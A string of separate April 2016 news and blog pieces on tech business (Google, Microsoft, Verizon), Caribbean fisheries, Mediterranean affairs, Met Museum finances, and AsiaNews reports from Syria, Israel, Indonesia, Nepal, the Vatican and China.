During the Alphabet earnings call, which is available to listen to YouTube should you wish to, Pichai spoke about Artificial Intelligence and the Cloud being two areas where Google can expand in to in the future. Where AI is concerned, Pichai noted that while Google had been researching machine learning and AI for a long time now, he feels that the company is at an exceptionally interesting tipping point where these technologies are really taking off and that this new area is very, very applicable to businesses. IBMs Watson, a powerful AI created a few years ago now, is already being used for business applications, such as predicting what will sell well and where the big trends are headed. Even so, Pichai feels that thoughtfully doing that externally we view as a big differentiator we have over others.

Its funny to think of the Cloud as somewhere that Google can expand and earn new revenues as a lot of their key services and products basically rely on the Cloud. However, Pichai feels that Google has now definitely crossed over to the other side to where we can thoughtfully serve external customers. Those external customers dont necessarily mean you or I, but more so large corporations such as Spotify, which switched to Googles services earlier this year. To really bring in the big bucks, Google will need to court more firms like Spotify and use their data centers and infrastructure to great effect.

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Its clear that Google needs to find other sources of revenue as ad revenue is not only constantly under attack, but has potentially reached a ceiling. For Google however, a firm that has a rich history of trying new things and the resourced to pivot into territories quickly, AI and the Cloud might not be all that challenging.
The enmity between Microsoft and Google has run quite deep for a long time, but it seems that Satya Nadella and Sundar Pichai are looking to put an end to it. Microsoft and Google have had a number of regulatory complaints buzzing around about each other, mainly in the area of patents. Big companies patent trolling each other is a story thats been done to death both in and out of the tech sphere, with big examples like Samsung and Apple or Google and Oracle coming to mind. It would appear, however, that there will be one less war going on; the Microsoft versus Google story apparently reached its conclusion on Friday.

The two companies deciding to bury the hatchet has been traced back to a number of causes, though some of those could actually be symptoms thereof, rather than reasons for the handshakes and hugs. For starters, Microsoft has seen their mobile OS tank in a fashion so grand that its practically unheard of in the mobile space. This led to them bringing many of their apps and services to Android and iOS. Where Cortana and desktop-style Microsoft Office used to be huge selling points for Windows phones, theyre now available on the competitions devices. Nadella and Pichai are also reported to have a less formal relationship than their predecessors, able to speak to one another amicably and not butt heads over normal operations of their respective companies. Naturally, this has trickled down to employee relations on both sides.

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Its anybodys guess as to how this will translate in respect to both companies current products. Microsofts snubbing of Google in Windows 10 and Googles similar behavior with the desktop version of Google Now no longer being compatible with Windows may seem childish, but these behaviors are meant not only to box each other out, but to drive traffic to their own services; Google wants to keep Google Now on their own OSes, while Microsoft wants to use their OS to drive traffic to Bing and generate search revenue of their own. Also noteworthy is the fact that Microsoft will continue pursuing patent litigation against non-Google entities using Android.
The world contains many different carriers of different types and sizes. Some are regional carriers, offering a competitive service in a relatively small part of the world. Some are national, even international. Some offer prepay plans, others offer postpay plans and some resell other carriers network, known as MVNOs (mobile virtual network operators). To consider the different sorts of plan, prepay is where the subscriber pays for service up front and postpay is where the subscriber pays afterwards (on a technicality, some postpay plans feature an element of paying in advance). Many carriers use their prepay plans to migrate customers to their postpay plans, as a customer who has successfully use the service on a prepay basis understands where he or she gets good service and how the network performs. However, Verizon Wireless, Americas largest carrier, are using TracFone as their proxy for a prepay service.

This announcement by Verizons Chief Financial Officer, Fran Shammo, followed the news that Verizon have lost 177,000 net retail prepay customers in the first quarter of 2016. As it happens, Verizon lost 188,000 prepay customers over the first quarter 2015 so this number represents an improvement  however, Verizon is not concerned about the fall in prepay customers. Instead, the largest American carrier is striving to gain and keep the high quality of the [customer] base. Verizon understand that their prepay offerings are not competitive and accept the decline in customers its because we have to make sure that we dont migrate our high-quality postpaid base over to a prepaid product, in the words of Fran.

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It is easy to see the logic from Verizons business perspective: good quality has a value and in the case of a cell phone carrier, this has traditionally meant customers prepared to pay more for their services. It may also mean how happy a customer is with the carrier: a happy customer is far less likely to switch networks, especially one with a less than great experience of another carrier. Verizon no longer discuss ARPU (Average Revenue Per User), which at one time was the standard metric for comparing carriers. The higher the ARPU, the more a typical customer is paying on that particular network. Its one measure of quality, along with the churn rate (that is, the number of customers switching to alternative carriers). Instead, Verizon is happy for the other carriers to fight amongst themselves for those customers happy to move service providers  following the logic that a price sensitive customer is more likely to switch carriers depending on the deal on offer. Every time a customer switches carrier, there are costs assigned and prepay tariffs offer relatively slim pickings for the carrier in question. Verizons decision not to chase prepay customers will help the overall businesses profit margins: it is better to manage a smaller, but happier, customer base than a larger, but less happy customer base. Verizon, after all, are a business with shareholders.

In isolation, Verizons business plan should work but it relies on other carriers picking up the slack, such as AT&T and T-Mobile USA (as Sprint are very much reducing their prepay plans). It also relies on AT&T and T-Mobile USA squabbling over these prepay customers as they churn from carrier to carrier depending on the offers available. Should either carrier be successful in enticing these customers into postpay plans and of course in keeping them in place, this could hurt Verizon. Its exactly this kind of market disruption that T-Mobile USA is planning.
Belize City, Belize, 22 April 2016 (CRFM)The Caribbean Regional Fisheries Mechanism (CRFM) this week sealed an agreement with a UN agency to strengthen governance arrangements for the flyingfish fishery in the Caribbean, with special emphasis on maximizing the long-term potential of the fishery, which employs several thousands in the region and feeds many more.

Milton Haughton, Executive Director of the CRFM, signed the Memorandum of Agreement for Caribbean States; while Kirk Bayabos, Senior Cluster Manager, signed on behalf of the project executing agency, United Nations Office for Project Services (UNOPS), a subsidiary of the UN.

The agreement is under a 5-year umbrella project, the UNDP/GEF Catalysing Implementation of the Strategic Action Programme for the Sustainable Management of shared Living Marine Resources in the Caribbean and North Brazil Shelf Large Marine Ecosystems (CLME+) Project, designed to catalyze the implementation of a 10-year Strategic Action Programme (SAP), focused on the sustainable management of shared living marine resources harnessed from the large marine ecosystems in both the Caribbean and the North Brazil Shelf. The SAP was endorsed by the ministers of CARICOM responsible for fisheries and/or environment in 2014.

The Caribbean Sea is described as a semi-enclosed sea adjacent to the Atlantic Ocean, south to the Gulf of Mexico. It is one of the largest salt water seas with a diverse marine life that is fundamental to the livelihoods of coastal communities, project documents detail.

It is within this expansive marine spacespanning more than a million square milesthat the flyingfish, a species of fish which has a life-span of less than one year, but which spawns as many as 7,000 eggs several times between November and July, is known to thrive in a zone spanning from Dominica to Trinidad and Tobago.

The wider area known as the Caribbean and North Brazil Shelf Large Marine Ecosystems (jointly called CLME+) is bordered by 35 states and territories, including the 17 CRFM Member States.

Due to its vast socio-economic value, the CLME+ buttresses two of the regions economic pillars: tourism and fisheries. However, these ecosystems are today being adversely impacted by pollution, habitat degradation and unsustainable fisheries and fishing practices. The 10-year SAP created under a forerunner CLME Project is aimed at tackling those threats, while also combating the threats which climate change poses to sustainable fisheries.

In March 2015, a US$ 12.5 million grant was released by the GEF to support the execution of a 5-year project (the CLME+ Project), to advance the implementation of the SAP. The CLME+ Project is being implemented by the Project Coordinating Unit in Cartagena, Colombia in collaboration with a number of regional partners.

In January 2016, three Regional Fisheries Bodies, the CRFM, the Central American Fisheries and Aquaculture Organization (Organizacion del Sector Pesquero y Acuicola del Istmo Centroamericano, OSPESCA), and the Food and Agricultural Organisation of the United Nations  Western Central Atlantic Fisheries Commission (FAO-WECAFC) signed a fisheries agreement, to improve their coordination under the CLME+ project through an interim coordination mechanism. The work being undertaken to improve the Caribbean flyingfish fishery will test the effectiveness of this region-wide mechanism.

The parties to this weeks accordthe CRFM and UNOPSwill work together over the next four years to implement a CLME+ project funded by the United Nations Development Program/Global Environment Facility (UNDP/GEF). The Caribbean sub-component is expected to wrap up in August 2019.
(ANSA) - Rome, April 22 - Various voices came together on Friday in favor of protecting the environment and the planet on the occasion of Earth Day, which this year coincides with the signing ceremony for the Paris Agreement on Climate Change at UN Headquarters in New York.

In recognition of Earth Day, the Copernicus Sentinel 1B satellite gifted new images of the planet Earth to Milan's National Science and Technology Museum for its exhibit "My Planet From Space - Fragility and Beauty".

Pope Francis expressed his views in a tweet: "A true ecological approach knows how to safeguard the environment and justice, hearing the cry of the earth and the cry of the poor".

World Wildlife Fund (WWF) Italy, citing a study by American ecological economist Robert Costanza, said every year nature provides free services and assets totaling 145 trillion dollars, more than the gross world product (GWP).

In Italy, 135,000 hectares of coastal land provide natural services worth 9,106 euros per hectare annually, according to a WWF Italy study.

"The economic benefit of a territory like this is more than two billion euros, about 3,000 euros per resident," the study said. The Italian Farmers Confederation (CIA) was in Rome's Villa Borghese to celebrate Earth Day and raise public awareness.

"Farming can really do a lot for the earth, because working together with nature and the land, when it chooses the path of sustainability, it plays a leading role in the fight against environmental emergencies and climate change," said CIA President Dino Scanavino.


Israel seals Palestinian Territories for Passover Security stepped up after bus bombing this week

(ANSAmed) - TEL AVIV, APRIL 22 - Ahead of the Jewish holiday Passover, which begins on Friday evening, the Israeli army has closed its border with the West Bank and Gaza.



The closure will remain in place until Saturday evening. In recent days and especially after an attack on bus number 12 in Jerusalem earlier this week, security measures have increased across all of Israel. Over 3,500 police officers will reportedly be watching over ceremonies planned at the Wailing Wall. The Holy Fire, the most important holiday of Orthodox Christians, will also be celebrated at the Church of the Holy Sepulchre in Jerusalem over the weekend. (ANSAmed).




Italy to keep demanding truth on Regeni - FM Gentiloni On Thurday Egyptian sources denied reports on scholar's arrest

(ANSAmed) - Milan, April 22 - Foreign Minister Paolo Gentiloni said Friday that Italy would continue to "demand the truth" from Egypt about the torture and murder in Cairo earlier this year of Italian researcher Giulio Regeni. Italy has complained of a lack of cooperation from Cairo in getting to the bottom of the case. On Thursday Egyptian sources denied media reports that Regeni had been stopped by police and handed over to the Egyptian security services.




ISTANBUL - A workshop to improve cooperation among power transmission systems operators was held in Istanbul on Thursday by Med-TSO, which brings together operators from 17 countries in the Mediterranean area. A meeting on the issue of cooperation was held on the sidelines of the tenth general assembly of the association. Taking part were European Network of Transmission System Operators for Electricity (ENTSO-E), the Union for the Mediterranean (UfM), and Mediterranean Energy Regulators (MEDREG), an umbrella group for energy regulators from 21 countries on both sides of the Mediterranean. European Commission representatives also took part. EU support, Med-TSO chief Noureddine Boutarfa said, ''shows the importance of the vision we are defending and our role as reliable institutional partner''.



He added that the aim was to find ''technical solutions that make it possible to strengthen security and pace in the Mediterranean, focusing on integration and the sharing of risks and rules''. Med-TSO, a project supported by the European Commission that foresees the sharing of resources, costs and risks linked to investment in power infrastructure in the Mediterranean. The project also aims to achieve greater information exchange between operators and bring in a harmonized, integrated Mediterranean power system. (ANSAmed).


ISTANBUL - Some 180,245 migrants and refugees have landed in Europe across the Mediterranean since the start of the year, the International Organisation for Migration (IOM) said Friday. Some 154,227 arrived in Greece and 24,927 in Italy, while just over 1,000 came to Spain and 28 to Cyprus. The estimated deaths at sea have risen to 1,232 including the feared 500 or so off Egypt earlier this week.


ANSAmed - Weekly diary from April 25 to May 1

(ANSAmed) - ROME, APRIL 22 - The following are the main events scheduled in the Euro-Mediterranean area between April 25 and May 1: MONDAY, APRIL 25 BRUSSELS - EU foreign policy chief Federica Mogherini will be receiving Amal Al Qubaisi, head of the UAE National Federal Council HANNOVER - counterterrorism summit between US president Barack Obama and European leaders with Italian PM Matteo Renzi, French president Francois Hollande, British PM David Cameron and German chancellor Angela Merkel ISTANBUL - European Commissioner Karmenu Vella will be taking part in high-level EU-Turkey economic dialogue TUESDAY, APRIL 25 BRUSSELS - European Commission vice president Frans Timmermans will be taking part in the conference 'European Muslims, Radicalization and the Challenge of De-Radicalization' NAPLES - three-day event entitled 'Tales from the World City: Words, Visions and Steps. A journey into stories, places and cities' on urban transformations and the value that migrations bring with them organized by Migrantour with the writer of Algerian origins Tahar Lamri (until 28/4) ROME - inauguration of the collective exhibition 'Bursa Artists in Rome' at the Turkish embassy (until 2/5) WEDNESDAY, APRIL 27 BRUSSELS - European Parliament plenary session (also 28/4) BRUSSELS - European Commissioner Carlos Moedas will be receiving Amal Al-Qubaisi, head of the UAE Federal National Council ABU DHABI - the 16th Abu Dhabi International Book Fair (ADIBF) will begin, with Italy as country guest of honor (until 3/5) ROME - Gregorian Pontifical University seminar on 'The Unbearable Lightness of Perception' on public views of refugees and migrants in Europe CATANIA - European immigration commissioner Dimitris Avramopoulos will be taking part in the inauguration of the new headquarters of the European Regional Task Force (EU-RTF), along with Interior Minister Angelino Alfano and Fabrice Leggeri, executive director of Frontex VATICAN CITY - anniversary of the canonization of Pope Jean Paul II and Pope John XXIII THURSDAY, APRIL 28 BRUSSELS - European Commissioner Marianne Thyssen will be receiving a Caritas delegation PARMA - European commissioner Vytenis Andriukaitis will be taking part in a meeting of the European Food Safety Authority board TUNIS - conference entitled 'EDILE: Invest for Local Impact in the Mediterranean', organized by the ANIMA Investment Network and the Agence de Promotion de l'Industrie et de l'Innovation de Tunisie with EU support FRIDAY, APRIL 29 BRUSSELS - European Commission chief Jean-Claude Juncker will be receiving the presidents of the EU's Outermost Regions DACHAU (GERMANY) - anniversary of the liberation of the former Nazi concentration camp SATURDAY, APRIL 30 NO MAJOR EVENT SCHEDULED SUNDAY, MAY 1 VARIOUS CITIES - International Workers Day.



(ANSAmed).




MILAN - The Italian government wants the EU to exert greater efforts concerning the central Mediterranean migrant route, which runs from Libya to Italy, Foreign Minister Paolo Gentiloni said Friday. The minister was replying to journalists' questions after his speech at a conference on immigration, refugees and asylum policies at the Bocconi University in Milan, where he discussed the 'Migration Compact'. Gentiloni called for investment in African countries to be stepped up, ''with new instruments like 'Africa bonds''', and said that the countries receiving the investment should be required to put forth serious efforts to limit migration flows. He added that repatriation of migrants to safe countries should be ''ever more European'', but that migrants should not be repatriated to Libya. ''On these issues,'' he concluded, ''the Italian government is asking Europe for commitment similar to what it showed on the (migration, Ed.) route running from Turkey to Greece and the Balkans.''
Le CBD, cette molecule active du cannabis a aujourdhui le vent en poupe. Et cela est en grande partie du au fait quil permet...
The contrast in the financial news emanating today from New Yorks two premier art museums could not have been more dramatic.

The Museum of Modern Art issued an exultant press release celebrating David Geffens $100-million naming gift for its planned renovation and expansion. That equals his recent Lincoln Center benefaction for the NY Philharmonics home.

Meanwhile, about a mile up Fifth Avenue from MoMA, the Metropolitan Museum had deputized Robin Pogrebin of the NY Times to release some shocking financial news (not to be found among the museums own press announcements, at this writing).

Robin revealed:

The [Metropolitan] museum is acknowledging that it may have overreached and is facing a deficit of $10 million this year, which officials said would almost certainly balloon to as much as $40 million [emphasis added] if the Met does not change course and scale back. So the museum is changing course. On Thursday [today], it announced a 24-month financial restructuring that it said was likely to include staff reductions, slower construction of its new wing and reduced programming.

With the benefit of hindsight, my conversation a month ago (on the occasion of the opening of the Met Breuer) with Daniel Weiss, the Mets president (who, I suspect, may have been responsible for this much needed, belated reality check), gave us an early hint of things to come.

Heres what Weiss told me about the Mets operating shortfalls. (My own asides, in brackets, were part of my Mar. 15 post.):

WEISS: Were doing various things to control our spending and to match revenues to spending. This year [fiscal 2016, ending June 30], we had a projected deficit of $8.2 million [emphasis added], which was approved by the board. There are always changes to revenues and costs that might change that number. [The projected $8.2-million deficit this year almost equals the $8.4-million deficit in fiscal 2009, in the depths of the Great Recession. After that, thanks in large measure to cost-cutting (fiscal 2010) and the Alexander McQueen Effect (which straddled the next two fiscal years), there were three years of surpluses$3.7 million (FY 10); $1.3 million (FY 11); $0.2 million (FY 12). Those were followed by deficits for the past three years: $4.4 million (FY 13); $3.5 million (FY 14); $7.7 million (FY 15).] This year has been a bit challenging, because its been a very difficult retail environment for everybody. The strong dollar has cut back on the spending from international tourists coming to New York and what weve seen is that total visitor numbers are up a little bitnot only at the Met but across New Yorkbut spending is down. So they come three days instead of four days and they spend a little less money. Thats had an effect on our budget and we want therefore to take a look at our cost side to make sure that were trying to track the commitments that we need and the budget that we had approved.

Apparently that look at our cost side was more alarming than anticipated: This years projected deficit of $8.2 million has ballooned to $10 million, with the worst yet to come in future years, unless drastic measure are taken. Robin foretold cuts in staff and exhibitions, and indefinite postponement of the planned new wing for contemporary art, designed by David Chipperfield.

The obvious question is this:

Did the Met bite off more than it could chew when it took over the renovation, operation and programing of the Whitney Museums Breuer building for a period of at least eight years?

As I mentioned to Weiss last month, the size of the Mets financial commitment to the Breuer had made me wonder if you relieved the Whitney of the financial headache of running two buildings, but maybe gave yourself one.

Just a week ago, the Mets director, Tom Campbell, and his counterpart at the Whitney Museum, Adam Weinberg, were cheerfully discussing the results of their institutions Met Breuer agreement, with nary a hint about the Mets financial distress:

Pogrebins article tells us that museum officials (unnamed) maintain that philanthropic dollars (and also, presumably, earned income from admissions and sales) had covered the (undisclosed) renovation costs for the Met Breuer, as well as its operating budget (previously estimated at $17 million). Unmentioned by the Times is the cost to the Met of its eight-year lease of the Breuer building and how that is being paid for.

Given recent developments, its time for the Met to be completely transparent about its financials, including those of the Met Breuer arrangement, answering the questions on which I was stonewalled last month:

How much is the Met paying the Whitney for this arrangement? (Both museums have refused to say.) What are the detailed provisions in the Mets Collaborative Agreement with the Whitney? How much did the Met pay to restore, upgrade and enhance the Breuer building?

Overlying all this is a larger question: If the Met hadnt taken on this substantial additional financial burden, might some or most of that money have been available for what Weiss calls its core programs? And might some of the time and money spent on certain tech tricks of dubious value, and on branding (including the new logo, above) have been better spent on preserving the justly celebrated exhibition program, which now stands to be weakened by longer exhibition periods [meaning fewer changing exhibitions] and fewer loans [from other institutions], according to the Times?

The buck stops with Tom Campbell, who is not only the Mets director, but also its CEO. How did he allow things to come to such a pass? The recession-driven 2009 belt-tightening, which affected all museums (causing a staff purge at the Met), was understandable. This one isnta jaw-dropping future shortfall of $40 million, unless major changes are instituted.

The resulting crisis in confidence could make it hard for the Met to convince Geffen-like donors that the museum is well managed and that their money will be well spent. It could also harm the morale of staff members, who were brought together today for a meeting.

I wouldnt want to be a curator over 50, one ex-staffer today quipped.
Preparations are underway for a big fight in Aleppo. Turkey allows weapons and recruits through. Saudi Arabia blocks peace talks. For people in villages near Aleppo, there is only flight.

Damascus (AsiaNews)  Syrian Prime Minister Wael Nader al-Halqi (pictured) confirmed recent reports that more than 5,000 Jihadis travelled through Turkey on their way to Idlib and the outskirts of Aleppo.

The Syrian leader told Russian news agency Sputnik that Saudi Arabia, Turkey, and Qatar, as well as Western countries such as Great Britain and France have no real desire to move the process of the political settlement, and are pushing for a military solution.

Syrian Foreign Minister Walid Al Moallem said many countries continue to provide Islamist fighters advanced weapons, most notably Turkey.

The Syrian Arab News Agency (SANA) reported that the minister told a Chinese special envoy on official visit to Damascus that Syria would continue combating the terrorist organizations which are constantly supported by some countries, such as Turkey, being offered passage for terrorists and provided with advanced weapons.

The agency went to say that an international stand must be taken to the effect of respecting the Security Council resolutions.

Syrias UN Permanent Representative Houssam-Eddin Ala said that hundreds of new fighters have entered Syria through Turkey, noting that Saudi Arabia continues to put pressure on the delegation from the Riyadh conference to reject any agreement.

A Christian living southwest of Aleppo, who asked his name be withheld, told AsiaNews that a large number of Jihadi fighters from the Islamic Turkmen Party are being deployed.

They received weapons and ammunition from the al Nusra Front and Jund al-Aqsa (Soldiers of Al Aqsa), which includes Syrians and others. Meanwhile, logistical work is being undertaken, with new positions with sandbags being prepared.

In the past few days, East Asian-looking fighters have joined the Islamic Turkmen Party, speaking Chinese, the source added. They are probably Chinese Uighurs coming through Turkey.

Al Ahrar Sham fighters are no longer on the frontline, but in the rear.

In the village of Al Bawabiya (southwest of Aleppo, two kilometres from the Aleppo-Damascus Road, where the new Jihadis from Islamic Turkmen Party have set up their headquarters), the people are scared to death by the arrival of Turkic Uighur fighters "who have taken over abandoned houses".

"They know that preparations are underway for a big fight," he said. Residents have only two choices: join the fighters, coerced or to survive, or quickly flee. Standing up to these armed men is impossible. (PB)
According to the police Abdul Hamid Abu Srour, a native of Bethlehem, the only victim of the explosion was the author of the attack. He died April 20 from his injuries. The extremist group confirms that the boy was one of its members but denies (again) any direct involvement.

Jerusalem (AsiaNews / Agencies)  The bus bombing of April 18 last, in which 20 people were wounded and the bomber died, was carried out by the Palestinian Islamist movement Hamas according to Israeli police . They report that the only victim of the attack was a suicide bomber, naming 19 year old Abdul Hamid Abu Srour, a native of Bethlehem. The young man died on April 20, two days after the bombing from serious injuries.



Hamas from the outset denied responsibility for the act; later, following the boy's death, a spokesman for the fundamentalist movement confirmed that Abu Srour was one of its members, but, again, denied direct involvement in the attack.



In the last hours Israeli authorities have made several arrests in the Bethlehem area, in connection with the attack on the bus which, in its modality and target, is reminiscent of the attacks of the early years of this decade, at the time of second intifada.



Shoham Ruvio, spokeswoman for the Shaare Zedek Medical Center, announced the young mans death stressing that "one of the two seriously injured" being treated in the clinic, who "had lost both legs" in the blast, had died in the night of April 20. A few hours later the Palestinian Minister of Health and Hamas have identified the boy as Abu Srour, a resident in the Aida refugee camp, in the occupied West Bank.

Several Palestinian groups and citizens have expressed their condolences to the family. Posters soon began appearing in the camp where they live remembering the young man as a "martyr".

Hamas, which controls the Gaza Strip and has carried out a series of attacks on Israeli buses in the early years of this decade, described the April 18 attack as a "natural response to Israeli crimes". Yesterday the Shin Bet  the agency in charge of the internal security in Israel  carried out several arrests among Abu Srours friends and acquaintances, who are still undergoing questioning.

Israeli Prime Minister Benjamin Netanyahu tied the attack to the wave of stabbings, shootings and car rammings which have become distinctive of the third Intifada of knives, which in the last six months has caused the deaths of 29 Israelis and at least 200 Palestinians.

Interviewed by AsiaNews Adel Misk, a doctor and Palestinian activist, spokesperson of The Parents Circle an association that brings together some 250 Israeli and 250 Palestinian families of victims of the conflict, said that the attack is the wrong answer to a mistaken occupation. The attack, says the activist, is the fruit "of Israels occupation policy ", the "lack of freedom" for Palestinians and the lack of will among the various leaders to "sit down and talk, to sign a peace agreement with one another ". The Israeli-Palestinian conflict is exacerbated by the international communities disinterest , concludes Misk, which seems to have become accustomed to the problems of the Middle East, and only sees Iraq, Syria, Yemen.
by Mathias Hariyadi

The former head of the now defunct Modern Bank, Hartono had been on the run for 13 years. Five different passports and identities did not save him. Indonesias intelligence agency, who found him in Shanghai, brought him home, possibly with Chinese help.

Jakarta (AsiaNews)  After 13 years, Indonesia  with Chinese cooperation  nabbed one of the key players in the scandals that plunged the country into financial turmoil in the late 1990s, at the time of the crisis of the Asian Tigers.

After spending years in various Asian nations enjoying his wealth, Samadikun Hartono, Indonesias Most Wanted financial crook, is now back home. Five different passports with different identities did not save him from the law.

Hartono headed the now defunct, family-controlled Modern Bank, once one of Indonesias top financial institutions.

When a financial storm hit South Asia, starting in Thailand and moving on to Indonesia, Malaysia and the Philippines, many private banks felt the squeeze.

As national currencies devalued against the US dollar, due to financial speculation, heavy private debts by banks and businesses led to capital flight. Hartonos Modern Bank was one of the most affected.

The Indonesian government adopted a plan to help the financial system to counter the effects of devaluation. However, some top financial players, like Samadikun Hartono, took the money and fled abroad to enjoy their ill-gotten booty at taxpayers expense.

The long reign of President Suharto (1967-1998) was another casualty of the financial crisis and subsequent scandals.

Hartono fled (with the money) just before police could execute a court-ordered arrest warrant. However, after 13 years in exile, moving between Singapore and other countries of the region, he was caught in Shanghai, where he had gone for the Formula One Grand Prix.

Before he could escape again, Indonesias State Intelligence Agency (Badan Intelijen Negara, BIN) was able to get to him.

For some observers, the BIN could not have reached its goal without Chinese help. Some suggest a swap for Chinese Uighurs in Indonesia accused of terrorism in China.

BINs current chief, former Jakarta Governor Bin Sutiyoso dismissed the claim, saying that there was no quid prop quo with Beijing.

Samadikun Hartonos capture is part of a crackdown against crime and corruption pursued by Indonesian President Joko "Jokowi" Widodo, who centred his election campaign on fighting graft.

From the very start of his mandate, he has relentlessly gone after financial crimes, past and present, including those dating back to the scandals of the 1990s.

At present, several prominent figures are still on the run; however, Jokowi can claim success whereas his immediate predecessor, Susilo Bambang Yudhoyono (2004-2014), repeatedly failed.
On 25 April, Nepal marks the first anniversary of a quake that killed 9,000 and displaced five million. Reconstruction requires up to US$ 8bn. Four have already been pledged, but the government is not releasing funds for fear of graft and embezzlement. Meanwhile, four million have no home, power, or building materials. NGOs hope to start work soon.

Kathmandu (AsiaNews)  One year ago, Nepal was hit by a 7.9 earthquake, its worst natural disaster since 1934. Some 9,000 people were killed, and more than 22,000 were injured.

A year later, everything is still in ruin. We waited for the government help to build a house almost for a year. For how long can we wait? said Om Bahadur Ghale, a quake survivor in Barpak, the epicentre of the quake that struck Nepal on 25 April 2015. Thousands like him are asking the same question.

The earthquake destroyed homes, schools, Hindu temples, and prisons. In December, several experts said that reconstruction would not be easy and could take several more months, disheartening survivors already coping with the winter cold.

In the Barpak area alone, an estimated 8,000 people are still living in tents set up by rescue teams. Government sources say that half a million people are still homeless. Some NGOs say that that figure could be as high as four million.

Delays in reconstruction are due to the government-appointed National Reconstruction Authority (NRA). Which was set up to assess damages and hand out funds from the international community.

So far, the government has provided $ 250 per displaced family to buy warm clothes for the winter and paid $ 400 to each family per dead member. Its experts have also assessed the loss and damage caused by the quake.

"The donors have already pledged half of the amount (bn) and we are in the process of seeking commitment for the rest," NRA spokesperson Ram Thapaliya said.

However, no money has been spent yet. Because of fear of graft, embezzlement, and waste, the government has been very cautious with the purse strings, to the extent that donors want explanations about the delays.

For example, Plan International Australian director Ian Wishart noted that graft has "slowed everything down, so you know materials couldn't be shifted around, fuel couldn't get to the trucks; even electricity was being rationed. This [has] put a tremendous malaise on the recovery effort."

Mr Wishart added that reconstruction was "only now" gathering speed with the Plan's Australian Government-funded reconstruction of schools just approved.
"Each one of us, lets ask ourselves: How is the announcement (of Jesus) in my life? How is my relationship with Jesus who intercedes for me? And how is my hope? Do I truly believe that the Lord is risen? Do I believe that he prays to the Father on my behalf? Each time that I call him, He is praying for me, He is interceding? ".

Vatican City (AsiaNews) - Announcement, intercession and hope are the "dimensions" that should distinguish Christian life said Pope Francis at Mass this morning in Casa Santa Marta, on the day that marks the 43rd anniversary of Jorge Mario Bergoglios religious profession.

"Jesus is alive! This is the announcement of the Apostles to the Jews and the Gentiles of their time and this announcement was also witnessed with their lives, with their blood. When John and Peter were brought before the Sanhedrin after the healing of the crippled man and the priests forbade them to mention the name of Jesus, the Resurrection, they courageously and simply said: We cannot stop proclaiming what we have seen and heard, - the announcement. And we Christians through our faith have the Holy Spirit inside us that makes us see and listen to the truth about Jesus who was put to death for our sins and who rose again. This is the announcement of our Christian life. Christ is alive! Christ is risen! Christ is among us in the community and accompanies us on our journey.

Turning next to the question of intercession, Pope Francis reminded his listeners that just as Jesus told his Apostles at the last Supper, He is praying for us and preparing us a place in the house of the Lord. What does this mean? How does Jesus prepare this place? By praying for each one of us. Jesus prays for us and this is his intercession. At this moment, Jesus is working by praying for us. Just as he told Peter one time before the passion, Peter, I prayed for you. In the same way, Jesus is now the intercessor between the Father and us. The Pope went on to explain how Jesus intercedes for us by showing his wounds to the Father after the Resurrection and names each one of us to Him. This, he said, is Jesus prayer and his intercession on our behalf.

Concluding his homily, Pope Francis touched on the third dimension of a Christian life: hope. A Christian, he declared, is a woman, a man of hope who hopes that the Lord will return. All the church is waiting for the coming of Jesus who will return and this is Christian hope.

Each one of us, lets ask ourselves: How is the announcement (of Jesus) in my life? How is my relationship with Jesus who intercedes for me? And how is my hope? Do I truly believe that the Lord is risen? Do I believe that he prays to the Father on my behalf? Each time that I call him, He is praying for me, He is interceding. Do I truly believe that He will return, that He will come? It would do us good to ask ourselves these (questions) about our faith: Do I believe in the announcement of Jesus good news? Do I believe in his intercession? Am I a man or a woman of hope?
After 16 days and 11,300 km, the first freight train reached France after crossing six time zones through Kazakhstan, Russia, Belarus, Poland, and Germany, taking half the time of sea shipping. Xis One Belt, One Road is back in the spotlight, to trade with Europe, bypassing the United States.

Beijing (AsiaNews)  An intercontinental freight train that left Wuhan city in China arrived in Lyon, France, after travelling 11,300 km to Lyon, France, crossing seven countries and six time zones. A new Silk Road thus begins.

The train arrived at its destination after 16 days, half the time it would take by sea, which tends to be dominated by US exports. The convoy carried a cargo of mechanical, electrical, and chemical products. The same train is expected to leave in a few days loaded with French wine and produce.

After receiving the iron horse with great fanfare, France announced plans to introduce three links a week between Wuhan and Lyon in the near future.

On its website, Chinese freight company Trans Eurasia Logistics (TEL) already advertises regular rail links between 16 Chinese cities and European cities  including Barcelona, Bologna, Rotterdam, and Kotka, in Finland.

In March 2015, China and a number of European nations agreed to a Silk Road Economic Belt, an initiative designed to open up new trade routes.

Chinese President Xi Jinping has backed this dream, which he had dubbed One Belt, One Road, and is part of a broad geopolitical project with many implications.

On the one hand, the New Silk Road embodies a desire to bypass the war-torn Middle East and Africas pirate-infested seas. On the other, Beijing wants to become the most competitive possible to marginalise US exports in Europe.

China also has to contend with India, which launched its own maritime trade initiative, called the Cotton Road to link the nations of South Asia and South-East Asia.

For Alice Ekman, a research fellow and head of China research at the French Institute for International Relations (IFRI), Chinas project goes off in all directions".

"In the beginning, China announced a possible 60 partner countries  Eurasian countries. Now we're seeing that the project also includes Africa, and Beijing has also said that 'all countries across the world are welcome.

The Belt initiative is backed by the Asian Infrastructure Investment Bank (AIIB), which China controls. Yet, it won't be easy for China's institutions to implement the government's program," said Ekman.
The Chinese president is already General Secretary of the Communist Party, "the nucleus of leadership", the head of two new committees on the economy and director of the Central Military Commission. From now on he is also Commander in chief of the Peoples Liberation Army (PLA) Joint Battle Command. Such a concentration of power not seen since the death of Mao Zedong.

Beijing (AsiaNews) - The President of the People's Republic of China Xi Jinping was gifted himself a new title, further increasing his personal power and plunging the nation back into the era of Mao Zedong. Xi, as well as leading the nation, holding the position of General Secretary of the Communist Party; Director of the Central Military Commission; President of two new central commissions on the economy; head of the Politburo Standing Committee, and - a few weeks ago - "head" of communist leadership. Added to this impressive string of titles he has a new role: Commander in Chief of the Peoples Liberation Army (PLA) Joint Battle Command.



Thanks to his new title, Xi will be authorized to lead the military in the event of open war. Until now, within his role on the Military Commission, he could do whatever he wanted with the army but only in time of peace: in the event of open war, military leaders would make the decisions. Now things are changing, and experts warn: "Such a concentration of power has not been seen in China since the death of Mao Zedong."



Xi told the PLA that the Joint Battle Command should be "absolutely loyal, resourceful in fighting, efficient in commanding, and courageous and capable of winning wars". The proclamation was pronounced during the inspection of the troops of the new Control Center: the Chinese leader was dressed in the khaki military uniform and boots issued to soldiers.

